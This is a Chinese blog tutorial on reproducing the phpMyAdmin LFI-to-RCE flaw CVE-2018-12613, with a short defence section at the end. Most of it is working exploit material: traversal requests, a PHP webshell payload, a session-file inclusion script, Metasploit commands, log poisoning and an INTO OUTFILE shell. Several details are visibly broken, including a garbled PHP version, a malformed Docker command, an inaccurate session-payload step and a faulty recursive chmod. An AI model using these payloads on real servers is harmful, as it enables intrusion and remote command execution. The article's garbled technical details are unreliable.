溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何理解phpMyAdmin文件包含漏洞復現

發布時間:2021-10-18 15:48:26 來源:億速云 閱讀:219 作者:柒染 欄目:安全技術
# 如何理解phpMyAdmin文件包含漏洞復現

## 前言

phpMyAdmin作為最流行的MySQL數據庫管理工具之一,其安全性直接影響數百萬網站的數據安全。文件包含漏洞(Local File Inclusion, LFI)是phpMyAdmin歷史上多次出現的嚴重漏洞類型。本文將通過漏洞原理分析、環境搭建、漏洞復現和防御措施四個維度,深入解析這類漏洞的利用方式。

---

## 一、漏洞原理深度解析

### 1.1 文件包含漏洞基礎
文件包含漏洞分為兩類:
- **本地文件包含(LFI)**:包含服務器本地文件
- **遠程文件包含(RFI)**:通過URL包含遠程文件(需`allow_url_include=On`)

phpMyAdmin的典型LFI漏洞常出現在:
```php
// 錯誤示例:未校驗用戶輸入的包含路徑
$page = $_GET['page'];
include('/modules/' . $page . '/header.php');

1.2 phpMyAdmin特殊利用場景

在phpMyAdmin中,文件包含漏洞常與以下特性結合: 1. 會話文件包含:通過寫入惡意代碼到臨時會話文件(/tmp/sess_[PHPSESSID]) 2. 日志文件包含:包含Apache/Nginx訪問日志注入PHP代碼 3. 配置文件包含:利用config.inc.php等配置文件


二、漏洞復現環境搭建

2.1 實驗環境配置

組件 版本
phpMyAdmin 4.8.0-4.8.1
PHP 5.67.0(需開啟session.auto_start
MySQL 5.7
操作系統 Ubuntu 18.04/Kali

使用Docker快速搭建:

docker run -d -p 8080:80 --name vulnerable_pma \
-e PMA_VERSION=4.8.1 \
-vulnerable-web-dvwa

2.2 必要配置修改

  1. 編輯php.ini
    
    session.auto_start = 1
    allow_url_include = Off
    
  2. 確認phpMyAdmin的config.inc.php未設置$cfg['TempDir']

三、漏洞復現實戰(CVE-2018-12613)

3.1 漏洞觸發步驟

  1. 構造惡意請求

    GET /index.php?target=db_sql.php%253f/../../../../../../etc/passwd HTTP/1.1
    
    • 雙重URL編碼繞過過濾:%253f解碼后為?
  2. 會話文件包含利用

    # 生成惡意SESSION
    import requests
    url = "http://target/index.php"
    payload = "<?php system($_GET['cmd']);?>"
    requests.get(url, cookies={'PHPSESSID': payload})
    
  3. 包含臨時文件

    GET /index.php?target=../../../../../../tmp/sess_[惡意ID]&cmd=id HTTP/1.1
    

3.2 自動化利用工具

使用Metasploit模塊:

use exploit/multi/http/phpmyadmin_lfi_rce
set RHOSTS 192.168.1.100
set TARGETURI /pma
exploit

四、漏洞利用的進階技巧

4.1 日志文件注入

當無法使用會話文件時: 1. 通過User-Agent注入PHP代碼:

   curl -A "<?php phpinfo();?>" http://target/
  1. 包含日志文件:
    
    GET /index.php?target=../../../../var/log/apache2/access.log
    

4.2 利用phpMyAdmin特性

  1. 轉換編碼漏洞

    SELECT 0x3C3F7068702073797374656D28245F4745545B27636D64275D293B203F3E INTO OUTFILE '/var/www/shell.php'
    

    (十六進制編碼的<?php system($_GET['cmd']);?>

  2. 設計器功能利用: 通過pma_pdf_schema表寫入惡意代碼


五、防御措施與修復方案

5.1 官方修復方案

  • 4.8.2版本后增加過濾:
    
    if (strpos($target, '..') !== false) {
      die('Invalid request');
    }
    

5.2 管理員防護建議

  1. 權限控制

    chown -R root:root /usr/share/phpmyadmin
    chmod -R 644 /usr/share/phpmyadmin
    
  2. 配置加固

    // config.inc.php
    $cfg['AllowArbitraryServer'] = false;
    $cfg['TempDir'] = '/var/lib/phpmyadmin/tmp';
    
  3. WAF規則示例(ModSecurity):

    SecRule ARGS_GET:target "@contains .." "deny,log,msg:'phpMyAdmin LFI attempt'"
    

六、漏洞研究的意義

  1. 安全開示范例:展示輸入驗證的重要性
  2. 防御體系構建:多層防御(輸入過濾、權限控制、日志監控)
  3. 應急響應訓練:通過復現提升實戰能力

“理解漏洞的最好方式就是親手復現它” —— 某安全研究員


參考資料

  1. CVE-2018-12613 NVD詳情
  2. phpMyAdmin安全公告
  3. OWASP文件包含防護指南

”`

注:實際復現請務必在授權環境下進行,本文僅作技術研究用途。根據具體環境參數可能需要調整利用方式,建議參考官方補丁分析完整防護方案。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女